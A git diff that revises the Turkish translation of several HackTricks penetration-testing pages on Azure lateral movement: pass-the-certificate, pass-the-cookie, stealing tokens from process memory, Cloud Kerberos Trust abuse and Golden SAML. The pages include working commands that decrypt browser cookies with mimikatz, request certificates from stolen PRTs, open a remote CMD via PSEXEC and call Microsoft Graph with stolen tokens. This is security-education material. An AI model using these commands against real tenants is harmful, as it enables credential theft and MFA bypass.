a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -1,30 +1,30 @@ -# Az - Pass the Certificate +# Az - Sertifikayı Geç {{#include ../../../banners/hacktricks-training.md}} -## Pass the Certificate (Azure) +## Sertifikayı Geç (Azure) -Azure'a bağlı makinelerde, her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa, bir makineden diğerine kimlik doğrulamak için **Azure AD CA** tarafından gerekli kullanıcı için (konu olarak) verilmiş sertifikalar kullanılabilir. +Azure'a bağlı makinelerde, her iki makine de **NegoEx** kimlik doğrulama mekanizmasını destekliyorsa, bir makineden diğerine **Azure AD CA** tarafından gerekli kullanıcı için (konu olarak) verilmiş sertifikalar kullanılarak kimlik doğrulaması yapmak mümkündür. Aşırı basitleştirilmiş terimlerle: - Bağlantıyı başlatan makinenin (istemci) **bir kullanıcı için Azure AD'den bir sertifika** alması gerekir. -- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı ile imzalar (oturum anahtarı ve güvenlik bağlamını kullanarak) ve **Azure AD'ye gönderir**. +- İstemci, PRT ve diğer ayrıntıları içeren bir JSON Web Token (JWT) başlığı oluşturur, bunu Türev anahtarı ile imzalar (oturum anahtarı ve güvenlik bağlamı kullanarak) ve **Azure AD'ye gönderir**. - Azure AD, istemci oturum anahtarını ve güvenlik bağlamını kullanarak JWT imzasını doğrular, PRT'nin geçerliliğini kontrol eder ve **sertifika** ile **yanıtlar**. -Bu senaryoda ve [**Pass the PRT**](pass-the-prt.md) saldırısı için gerekli tüm bilgileri aldıktan sonra: +Bu senaryoda ve [**PRT'yi Geç**](pass-the-prt.md) saldırısı için gerekli tüm bilgileri topladıktan sonra: - Kullanıcı adı -- Kiracı ID +- Kiracı ID'si - PRT - Güvenlik bağlamı - Türev Anahtar -Kullanıcı için **P2P sertifikası** talep etmek mümkündür, bu araçla [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** +Kullanıcı için **P2P sertifikası** talep etmek mümkündür, araç [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:** ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **authenticate** olacak, **PSEXEC** çalıştıracak ve kurban makinesinde **CMD** açacak python aracı [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır. +Sertifikalar, PRT ile aynı süre boyunca geçerli olacaktır. Sertifikayı kullanmak için, uzaktaki makineye **kimlik doğrulaması** yapacak, **PSEXEC** çalıştıracak ve kurban makinesinde **CMD** açacak python aracı [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) kullanabilirsiniz. Bu, başka bir kullanıcının PRT'sini almak için Mimikatz'ı tekrar kullanmamıza olanak tanıyacaktır. ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index 38b2af0fc..496330d60 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## Neden Çerezler? -Tarayıcı **çerezleri**, **kimlik doğrulama ve MFA**'yı **bypass** etmek için harika bir mekanizmadır. Kullanıcı uygulamada zaten kimlik doğrulaması yapmış olduğundan, oturum **çerezi** bu kullanıcı olarak **verilere erişmek** için kullanılabilir, yeniden kimlik doğrulaması yapmaya gerek kalmadan. +Tarayıcı **çerezleri**, **kimlik doğrulama ve MFA**'yı **bypass** etmek için harika bir mekanizmadır. Kullanıcı uygulamada zaten kimlik doğrulaması yapmış olduğundan, oturum **çerezi** bu kullanıcı olarak **verilere erişmek** için kullanılabilir, yeniden kimlik doğrulaması yapmaya gerek kalmaz. **Tarayıcı çerezlerinin nerede bulunduğunu** görebilirsiniz: @@ -14,7 +14,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Saldırı -Zorlayıcı kısım, bu **çerezlerin** Microsoft Veri Koruma API'si (**DPAPI**) aracılığıyla **kullanıcı** için şifrelenmiş olmasıdır. Bu, çerezlerin ait olduğu kullanıcıya bağlı [şifreleme anahtarları](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) kullanılarak şifrelenmiştir. Bununla ilgili daha fazla bilgi bulabilirsiniz: +Zorlayıcı kısım, bu **çerezlerin** Microsoft Veri Koruma API'si (**DPAPI**) aracılığıyla **kullanıcı** için şifrelenmiş olmasıdır. Bu, çerezlerin ait olduğu kullanıcıya bağlı [şifreleme anahtarları](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) kullanılarak şifrelenir. Bununla ilgili daha fazla bilgi bulabilirsiniz: {{#ref}} https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords @@ -24,7 +24,7 @@ Mimikatz elimdeyken, bu komutla **bir kullanıcının çerezlerini** şifreli ol ```bash mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit ``` -Azure için, **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** ve **`ESTSAUTHLIGHT`** dahil olmak üzere kimlik doğrulama çerezlerine önem veriyoruz. Bunlar, kullanıcının son zamanlarda Azure'da aktif olmasından dolayı oradadır. +Azure için, **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** ve **`ESTSAUTHLIGHT`** dahil olmak üzere kimlik doğrulama çerezlerine önem veriyoruz. Bunlar, kullanıcının son zamanlarda Azure'da aktif olmasından dolayı mevcuttur. Sadece login.microsoftonline.com adresine gidin ve **`Stay Signed In`** seçeneğiyle oluşturulan **`ESTSAUTHPERSISTENT`** çerezini veya **`ESTSAUTH`** çerezini ekleyin. Ve kimlik doğrulamanız yapılacaktır. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index 2be27db5a..7169badb3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -4,13 +4,13 @@ ## **Temel Bilgiler** -[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulut ile senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim tokenlerini bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sadece **işlemin bellek dökümünü almak** ve **JWT tokenleri için grep yapmak**, MFA'yı atlayarak kurbanın buluttaki çeşitli kaynaklarına erişim sağlayabilir. +[**bu videoda**](https://www.youtube.com/watch?v=OHKZkXC4Duw) açıklandığı gibi, bulutla senkronize olan bazı Microsoft yazılımları (Excel, Teams...) **erişim jetonlarını bellek içinde düz metin olarak saklayabilir**. Bu nedenle, sadece **işlemin bellek dökümünü almak** ve **JWT jetonları için grep yapmak**, MFA'yı atlayarak kurbanın buluttaki çeşitli kaynaklarına erişim sağlayabilir. Adımlar: -1. EntraID kullanıcısına senkronize olan excel işlemlerinin dökümünü favori aracınızla alın. -2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç token bulun. -3. Sizi en çok ilgilendiren tokenleri bulun ve bunlar üzerinde araçlar çalıştırın: +1. EntraID kullanıcısıyla senkronize olan excel süreçlerinin dökümünü en sevdiğiniz araçla alın. +2. `string excel.dmp | grep 'eyJ0'` komutunu çalıştırın ve çıktıda birkaç jeton bulun. +3. Sizi en çok ilgilendiren jetonları bulun ve bunlar üzerinde araçlar çalıştırın: ```bash # Check the identity of the token curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq @@ -30,6 +30,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ┌──(magichk㉿black-pearl)-[~] └─$ curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Bu tür erişim belirteçlerinin diğer süreçlerin içinde de bulunabileceğini unutmayın.** +**Bu tür erişim jetonlarının diğer süreçlerin içinde de bulunabileceğini unutmayın.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 3ff94fe6a..e673a4d90 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -**Bu gönderi,** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinde bulunan saldırı hakkında daha fazla bilgi için kontrol edilebilecek bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde de yorumlanmıştır.** +**Bu gönderi, saldırı hakkında daha fazla bilgi için kontrol edilebilecek** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **adresinin bir özetidir. Bu teknik ayrıca** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)** adresinde de yorumlanmıştır.** ## Temel Bilgiler @@ -17,12 +17,12 @@ Bu nedenle, bu hesap ele geçirilirse, herhangi bir kullanıcıyı taklit etmek ### Kerberos TGT -Ayrıca, bir kullanıcı Windows'ta hibrit kimlik kullanarak kimlik doğruladığında, **Azure AD, PRT ile birlikte kısmi Kerberos bileti verir.** TGT kısmi olarak adlandırılır çünkü **AzureAD'nin on-prem AD'deki kullanıcı hakkında sınırlı bilgisi** vardır (güvenlik tanımlayıcısı (SID) ve isim gibi).\ +Ayrıca, bir kullanıcı Windows'ta hibrit kimlik kullanarak kimlik doğruladığında, **Azure AD** **PRT ile birlikte kısmi Kerberos bileti verir.** TGT kısmi olduğu için **AzureAD'nin on-prem AD'deki kullanıcı hakkında sınırlı bilgileri** vardır (güvenlik tanımlayıcısı (SID) ve isim gibi).\ Windows, ardından **bu kısmi TGT'yi tam TGT ile değiştirebilir** ve `krbtgt` hizmeti için bir hizmet bileti talep edebilir. ### NTLM -Kerberos kimlik doğrulamasını desteklemeyen ancak NTLM'yi destekleyen hizmetler olabileceğinden, **`KERB-KEY-LIST-REQ`** alanını **PADATA** talebinin parçasına ekleyerek **ikincil `krbtgt`** anahtarı ile imzalanmış bir kısmi TGT talep etmek ve ardından birincil `krbtgt` anahtarı ile imzalanmış tam bir TGT almak mümkündür **NT hash yanıtında** dahil edilmiştir. +Kerberos kimlik doğrulamasını desteklemeyen ancak NTLM'yi destekleyen hizmetler olabileceğinden, **PADATA** talebinin **`KERB-KEY-LIST-REQ`** alanını içeren bir ikincil `krbtgt` anahtarı kullanılarak imzalanmış **kısmi TGT** talep etmek ve ardından birincil `krbtgt` anahtarı ile imzalanmış tam bir TGT almak mümkündür **cevapta NT hash'i dahil edilerek**. ## Alan Yöneticisi Elde Etmek İçin Cloud Kerberos Trust'ı Kötüye Kullanma @@ -30,17 +30,17 @@ AzureAD bir **kısmi TGT** oluşturduğunda, kullanıcı hakkında sahip olduğu Bunu Microsoft Graph veya Azure AD Graph aracılığıyla yapmak mümkün değildir, ancak Global Admin'lerin **senkronize kullanıcıları oluşturmak ve güncellemek için kullandığı API'yi** kullanmak mümkündür; bu, Global Admin'lerin **herhangi bir hibrit kullanıcının SAM adını ve SID'sini değiştirmesine** olanak tanır ve ardından kimlik doğruladığımızda, değiştirilmiş SID'yi içeren bir kısmi TGT alırız. -Bunu AADInternals ile yapabileceğimizi ve senkronize kullanıcılara [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet'i aracılığıyla güncelleyebileceğimizi unutmayın. +AADInternals ile bunu yapabileceğimizi ve senkronize kullanıcılara [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet'i aracılığıyla güncelleyebileceğimizi unutmayın. ### Saldırı Ön Koşulları -Saldırının başarısı ve Alan Yöneticisi ayrıcalıklarının elde edilmesi, belirli ön koşulların karşılanmasına bağlıdır: +Saldırının başarısı ve Alan Yöneticisi ayrıcalıklarının elde edilmesi belirli ön koşullara bağlıdır: - Hesapları Senkronizasyon API'si aracılığıyla değiştirme yeteneği kritik öneme sahiptir. Bu, Global Admin rolüne sahip olmak veya bir AD Connect senkronizasyon hesabına sahip olmakla sağlanabilir. Alternatif olarak, Hibrit Kimlik Yöneticisi rolü yeterlidir, çünkü AD Connect'i yönetme ve yeni senkronizasyon hesapları oluşturma yetkisi verir. - **Hibrit bir hesabın** varlığı gereklidir. Bu hesap, kurban hesabının ayrıntılarıyla değiştirilmek üzere uygun olmalı ve kimlik doğrulama için de erişilebilir olmalıdır. - Active Directory içinde bir **hedef kurban hesabının** tanımlanması gereklidir. Saldırı, zaten senkronize edilmiş herhangi bir hesap üzerinde gerçekleştirilebilir, ancak Azure AD kiracısının on-prem güvenlik tanımlayıcılarını çoğaltmamış olması gerekir; bu nedenle, bileti elde etmek için senkronize edilmemiş bir hesabın değiştirilmesi gerekmektedir. - Ayrıca, bu hesabın alan yöneticisi eşdeğer ayrıcalıklara sahip olması gerekir, ancak AzureAD RODC tarafından geçersiz TGT'lerin üretilmesini önlemek için tipik AD yönetici gruplarının bir üyesi olmamalıdır. -- En uygun hedef, **AD Connect Senkronizasyon hizmeti tarafından kullanılan Active Directory hesabıdır.** Bu hesap Azure AD ile senkronize edilmez, bu da SID'sinin geçerli bir hedef olmasını sağlar ve şifre karmaşalarını senkronize etme rolü nedeniyle doğası gereği Alan Yöneticisi eşdeğer ayrıcalıklara sahiptir (Şifre Karma Senkronizasyonu aktif varsayılarak). Hızlı kurulum olan alanlar için bu hesap **MSOL\_** ile başlar. Diğer durumlarda, hesap, alan nesnesi üzerindeki Dizin Çoğaltma ayrıcalıklarına sahip tüm hesapları listeleyerek belirlenebilir. +- En uygun hedef, **AD Connect Senkronizasyon hizmeti tarafından kullanılan Active Directory hesabıdır.** Bu hesap Azure AD ile senkronize edilmez, bu da SID'sinin geçerli bir hedef olmasını sağlar ve şifre karmaşalarını senkronize etme rolü nedeniyle doğası gereği Alan Yöneticisi eşdeğer ayrıcalıklara sahiptir (Şifre Karma Senkronizasyonu aktif varsayılarak). Hızlı kurulum olan alanlar için bu hesap **MSOL\_** ile başlar. Diğer durumlar için, hesap, alan nesnesi üzerindeki Dizin Çoğaltma ayrıcalıklarına sahip tüm hesapları listeleyerek belirlenebilir. ### Tam Saldırı diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md index e92c9bc02..5d8690c78 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md @@ -1,9 +1,9 @@ -# Az - Default Applications +# Az - Varsayılan Uygulamalar {{#include ../../../../banners/hacktricks-training.md}} **Tekniği kontrol edin:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) ve [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8) -Blog yazısı, Azure AD'deki bir ayrıcalık yükseltme açığını tartışıyor; bu, Uygulama Yöneticileri veya ele geçirilmiş On-Premise Senkronizasyon Hesaplarının uygulamalara kimlik bilgileri atayarak ayrıcalıkları yükseltmesine olanak tanıyor. Açık, Azure AD'nin uygulamaları ve hizmet ilkelerini "tasarım gereği" ele alma davranışından kaynaklanıyor ve özellikle varsayılan Office 365 uygulamalarını etkiliyor. Bildirilmiş olmasına rağmen, Microsoft bu durumu, yönetici hakları atama davranışının belgelenmesi nedeniyle bir açık olarak görmüyor. Yazı, teknik içgörüler sunmakta ve Azure AD ortamlarında hizmet ilkesi kimlik bilgilerini düzenli olarak gözden geçirme önerisinde bulunmaktadır. Daha ayrıntılı bilgi için, orijinal blog yazısını ziyaret edebilirsiniz. +Blog yazısı, Uygulama Yöneticileri veya ele geçirilmiş On-Premise Senkronizasyon Hesaplarının kimlik bilgilerini uygulamalara atayarak ayrıcalıkları artırmasına olanak tanıyan Azure AD'deki bir ayrıcalık yükseltme açığını tartışmaktadır. Azure AD'nin uygulamaları ve hizmet ilkelerini ele alma konusundaki "tasarım gereği" davranışından kaynaklanan bu açık, özellikle varsayılan Office 365 uygulamalarını etkilemektedir. Bildirilmiş olmasına rağmen, Microsoft bu durumu, yönetici hakları atama davranışının belgelenmesi nedeniyle bir güvenlik açığı olarak değerlendirmemektedir. Yazı, ayrıntılı teknik bilgiler sunmakta ve Azure AD ortamlarında hizmet ilkesi kimlik bilgilerini düzenli olarak gözden geçirme önerisinde bulunmaktadır. Daha ayrıntılı bilgi için, orijinal blog yazısını ziyaret edebilirsiniz. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index b4bb1813a..080ca9e87 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -8,20 +8,20 @@ AzureAD'den on-prem AD'ye yeni bir kullanıcıyı senkronize etmek için gereksi - **AzureAD kullanıcısı** bir proxy adresine (bir **posta kutusu**) sahip olmalıdır - Lisans gerekli değildir -- **Zaten senkronize olmamalıdır** +- **zaten senkronize olmamalıdır** ```powershell Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -When a user like these is found in AzureAD, in order to **on-prem AD'den erişmek için** you just need to **yeni bir hesap oluşturmak** with the **proxyAddress** the SMTP email. +AzureAD'de bu tür bir kullanıcı bulunduğunda, **on-prem AD'den erişmek için** sadece **SMTP e-posta ile proxyAddress** ile **yeni bir hesap oluşturmanız** gerekir. -An automatically, this user will be **AzureAD'den on-prem AD kullanıcısına senkronize edilecektir**. +Otomatik olarak, bu kullanıcı **AzureAD'den on-prem AD kullanıcısına senkronize edilecektir**. > [!CAUTION] -> Notice that to perform this attack you **Domain Admin'e ihtiyaç duymuyorsunuz**, you just need permissions to **yeni kullanıcılar oluşturmak**. +> Bu saldırıyı gerçekleştirmek için **Domain Admin** olmanıza gerek yoktur, sadece **yeni kullanıcılar oluşturma** izinlerinizin olması yeterlidir. > -> Also, this **MFA'yı atlatmayacak**. +> Ayrıca, bu **MFA'yı atlamaz**. > -> Moreover, this was reported an **admin hesapları için senkronizasyon artık mümkün değil**. +> Dahası, bu, **admin hesapları için hesap senkronizasyonunun artık mümkün olmadığı** şeklinde rapor edilmiştir. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 8e2fa684b..e6f38b8f1 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -4,17 +4,17 @@ ## Temel Bilgiler -[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** güvenin tesis edildiği **alanlar** topluluğudur. Güven düzeyi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, belirli bir kaynak setine **paylaşılan erişim** için **güven** tesis etmiş **bir dizi organizasyon** içerebilir. +[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** güven oluşturmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federation, **paylaşılan erişim** için güven oluşturmuş **bir dizi organizasyon** içerebilir. -**Yerel** ortamınızı **Azure AD** ile **federate** edebilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının yerel ortamda gerçekleşmesini** sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur. +**On-premises** ortamınızı **Azure AD** ile **federate** edebilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının on-premises** ortamda gerçekleşmesini sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federation mevcuttur.
-Temelde, Federasyonda tüm **kimlik doğrulama** **yerel** ortamda gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimler. Bu nedenle, kullanıcılar **yerel kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilirler. +Temelde, Federation'da tüm **kimlik doğrulama** **on-prem** ortamında gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimler. Bu nedenle, kullanıcılar **on-prem kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilirler. -**Güvenlik İddası İşaretleme Dili (SAML)**, sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme **bilgilerini** **değiştirmek** için kullanılır. +**Security Assertion Markup Language (SAML)**, sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme **bilgilerini** **değiştirmek** için kullanılır. -Her federasyon kurulumunda üç taraf vardır: +Her federation kurulumunda üç taraf vardır: - Kullanıcı veya İstemci - Kimlik Sağlayıcı (IdP) @@ -25,9 +25,9 @@ Her federasyon kurulumunda üç taraf vardır:
1. İlk olarak, bir uygulama (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) bir kullanıcı tarafından erişilir. Bu adım atlanabilir ve istemci doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirilebilir. -2. Sonrasında, SP, kullanıcı kimlik doğrulaması için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik İddası İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir. +2. Daha sonra, SP kullanıcı kimlik doğrulaması için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Security Assertion Markup Language) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir. 3. IdP devralır, kullanıcıyı kimlik doğrular. Kimlik doğrulama sonrası, IdP tarafından bir SAMLResponse oluşturulur ve kullanıcı aracılığıyla SP'ye iletilir. -4. Son olarak, SP SAMLResponse'yi değerlendirir. Başarıyla doğrulanırsa, IdP ile bir güven ilişkisi olduğunu gösterir ve kullanıcıya erişim izni verilir. Bu, oturum açma sürecinin tamamlandığını işaret eder ve kullanıcı hizmeti kullanabilir. +4. Son olarak, SP SAMLResponse'yi değerlendirir. Başarıyla doğrulanırsa, IdP ile bir güven ilişkisi olduğunu gösterir ve kullanıcıya erişim verilir. Bu, oturum açma sürecinin tamamlandığını işaret eder ve kullanıcı hizmeti kullanabilir. **SAML kimlik doğrulaması ve yaygın saldırılar hakkında daha fazla bilgi edinmek istiyorsanız:** @@ -37,43 +37,43 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS, iddialara dayalı bir kimlik modelidir. -- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddialara dayalı uygulamalara erişimi yetkilendirmek için kullanılır." -- Bir kullanıcı için iddialar SAML token'ları içinde yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır. +- AD FS, iddia temelli bir kimlik modelidir. +- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia temelli uygulamalara erişimi yetkilendirmek için kullanılır." +- Bir kullanıcı için iddialar SAML token'larının içine yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır. - Bir kullanıcı ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de saklanır. -- ImmutableID, kullanıcı için yerel ortamda ms-DS-ConsistencyGuid olarak saklanır ve/veya kullanıcının GUID'inden türetilebilir. -- Daha fazla bilgi için [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) adresine bakın. +- ImmutableID, kullanıcı için on-prem olarak ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir. +- Daha fazla bilgi için [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) **Golden SAML saldırısı:** -- ADFS'de, SAML Yanıtı bir token imzalama sertifikası ile imzalanır. +- ADFS'de, SAML Response bir token-imzalama sertifikası ile imzalanır. - Sertifika tehlikeye girerse, Azure AD'ye herhangi bir kullanıcı olarak kimlik doğrulamak mümkündür! - PTA istismarımız gibi, bir kullanıcı için şifre değişikliği veya MFA'nın etkisi olmayacaktır çünkü kimlik doğrulama yanıtını sahteleyerek işlem yapıyoruz. - Sertifika, DA ayrıcalıkları ile AD FS sunucusundan çıkarılabilir ve ardından herhangi bir internet bağlantılı makineden kullanılabilir. -- Daha fazla bilgi için [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) adresine bakın. +- Daha fazla bilgi için [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML -Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu işlem **IdP'nin özel anahtarı** kullanılarak gerçekleştirilir. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin gerçekliğini doğrulamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder. +Bir **Kimlik Sağlayıcı (IdP)**'nın kullanıcı oturum açmasını yetkilendirmek için bir **SAMLResponse** üretme süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin güvenilir bir IdP tarafından verildiğini doğrulamasını sağlar. -Kullanıcının kimliğini ve izinlerini doğrulayan anahtarın (golden ticket'lar için KRBTGT, golden SAML için token imzalama özel anahtarı) manipüle edilebileceği [golden ticket saldırısı](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) ile bir paralellik kurulabilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır. +[Golden ticket saldırısı](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket) ile bir paralellik 